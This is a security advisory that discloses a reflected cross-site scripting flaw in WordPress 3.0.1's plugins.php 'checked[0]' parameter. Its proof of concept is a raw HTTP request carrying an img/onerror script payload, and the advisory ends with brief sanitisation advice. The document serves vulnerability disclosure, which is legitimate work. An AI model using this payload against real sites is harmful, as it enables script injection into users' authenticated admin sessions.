[MajorSecurity SA-080]WordPress 3.0.1 - Cross Site Scripting Issue

Details
=============
Product: WordPress 3.0.1
Security-Risk: low
Remote-Exploit: yes
Vendor-URL: http://www.wordpress.org/
Advisory-Status: published

Credits
=============
Discovered by: David Vieira-Kurz of MajorSecurity

Original Advisory
=============
http://www.majorsecurity.net/wordpress-3-xss.php

Affected Products:
=============
WordPress 3.0.1
Prior versions may also be vulnerable

Description
=============
"WordPress is web software you can use to create a beautiful website or
blog." - from wordpress.org

More Details
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I have discovered some vulnerabilities in WordPress 3.0.1, which can be
exploited by malicious people to conduct reflected cross-site scripting
attacks. Input passed directly to the "checked[0]" parameter in
"wp-admin/plugins.php" when the "action" parameter is set to
"delete-selected" is not properly sanitised before being stored and
returned to the user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context of an affected site.

Proof of Concept
=============
GET
/wordpress/wp-admin/plugins.php?action=delete-selected&checked%5B0%5D=x<img%20src%3da%20onerror%3dalert(1)>yz&plugin_status=all&paged=1&_wpnonce=b58a891de5
HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie:
wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=admin%7C1281711223%7Ce88c76a1b42c7d91f501623fa434b541;
wordpress_test_cookie=WP+Cookie+check;
wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=admin%7C1281711223%7C187ec57f486086f5a3cca1ea9a6e7394;
wp-settings-time-1=1281538642; wp-settings-1=deleted;

Solution
=============
Web applications should never trust on user generated input and
therefore sanatize all input. Edit the source code to ensure that input
is properly sanitised.

MajorSecurity
================
MajorSecurity is a German sourcecode audit and penetration testing
company which focuses on (web-)application security. We offer
professional source code audit, penetrationstest and pci dss compliance
tests. Visit us at http://www.majorsecurity.net/source-code-audit.php

Use of terms
================
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